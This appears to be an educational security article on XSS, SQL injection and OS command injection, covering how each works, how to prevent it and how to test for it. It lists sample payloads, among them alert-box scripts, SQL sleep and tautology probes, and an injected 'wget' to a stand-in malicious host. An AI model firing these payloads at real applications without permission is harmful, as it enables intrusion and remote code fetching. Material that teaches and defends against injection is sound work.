Web applications are the services that websites offer as a way for users to interact with the site. Generally, whenever an end user can interact with an application in some way, their inputs need to be sanitized or limited to preset options to prevent a malicious user from abusing the application. Most applications incorporate these security measures, but some sites may not, or the implementation is flawed, which gives way to injection attacks.

There are many types of web application injection attacks, such as Cross Site Scripting (XSS), SQL Injection, OS Command Injection, and others.

Cross–Site Scripting (XSS)

Cross Site Scripting is an injection attack by inserting JavaScript code into a vulnerable application either through a text box, parameter value, URL, cookie value, or other variables that can be controlled by the attacker. This payload will either be echoed back into the sender’s browser (reflected XSS), or it will be stored within the page, affecting anyone who visits the page (stored XSS).

XSS payload examples

<script>alert(1)</script>
<img src=”notrealimg.jpg” onerror=alert(1)>
<Video> <source onerror= “javascript: alert (XSS)”>

A more complete list of payloads can be found at: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Ways to prevent XSS

Cross–Site Scripting can be mitigated through several methods. The first method is to sanitize the input from an end user by preventing the input of HTML tags and to encode dangerous characters like the greater than (>) and less than (<) symbols. Another method is to implement a Web Application Firewall (WAF) that automatically searches through traffic sent to the site to find and prevent injection attacks from reaching the site.

Testing for XSS

There are many ways to test for XSS, from simply using the browser to deploying professional tools like Burpsuite. The main way to test for XSS is to see how a web application is handling a user’s input. If the application takes the input and echoes it back without being modified, a malicious user could add the needed characters to escape the boundaries of the input and inject arbitrary code that the application will execute. An example of this is using a double quote to close the string early and a greater than symbol to close the tag, allowing for any code after that greater than sign to be interpreted as its own tag on the page: “><script>payload()</script>

SQL Injection

Structured Query Language (SQL) injection is an attack against a SQL database where a malicious user will attempt to inject SQL code into a SQL database program to gain information or access to a database that they would otherwise not have access to.

SQL payload examples

‘OR 1=1—
SELECT @@version
SELECT SLEEP(10)

A more comprehensive list of SQL payloads can be found at: https://portswigger.net/web-security/sql-injection/cheat-sheet

Ways to prevent SQL injection

The best way to prevent SQL injection is to use prepared statements. Prepared statements are template SQL queries that take the input from an end user, parse it, and execute it in a predefined manner which heavily reduces the likelihood of a SQL injection attack. Another way to reduce the risk of SQL injection attacks is to implement a Web Application Firewall (WAF).

Testing for SQL injection

SQL injection is a high-severity vulnerability that can be tested in many ways. There are multiple tools designed for testing a web application for SQL injection, such as sqlmap and Burpsuite. Observing how the application responds to a SQL query is the main way to determine how to exploit a SQL injection vulnerability. If a normal SQL query is submitted and the application responds instantly, but if a time-based sleep query is submitted and the application takes much longer to respond, there is likely a SQL Injection vulnerability present.

OS Command Injection

OS command injection is an injection attack where an end user’s input is used in an unsafe way in a web application that leads to commands being executed on the local machine of the web application.

OS Command payload examples:

|| sleep 5
|| whoami
& wget http://maliciouslink.com

Ways to prevent OS Command injection

The first method to prevent OS Command injection is to avoid using calls to OS commands directly within an application. Another defense mechanism for OS Command injection is to sanitize user input to prevent users from adding extra commands to an input string.

Testing for OS Command injection

There are many tools and ways to test for OS Command injection, ranging from a web browser to tools like Burpsuite. If an attacker has access to the application’s codebase, they should search for how the application is handling user input when it makes calls to OS commands and if it is being done in an insecure way, such as calling system commands directly. If direct OS commands are present, the input for these functions needs to be monitored very carefully. If an attacker does not have access to the codebase, they will need to work with the user input in real time to see how the application is responding to attempts at submitting OS commands. Using time-based injection with ping or sleep to blindly test an application is a common and non-destructive method of testing for OS command injection vulnerabilities.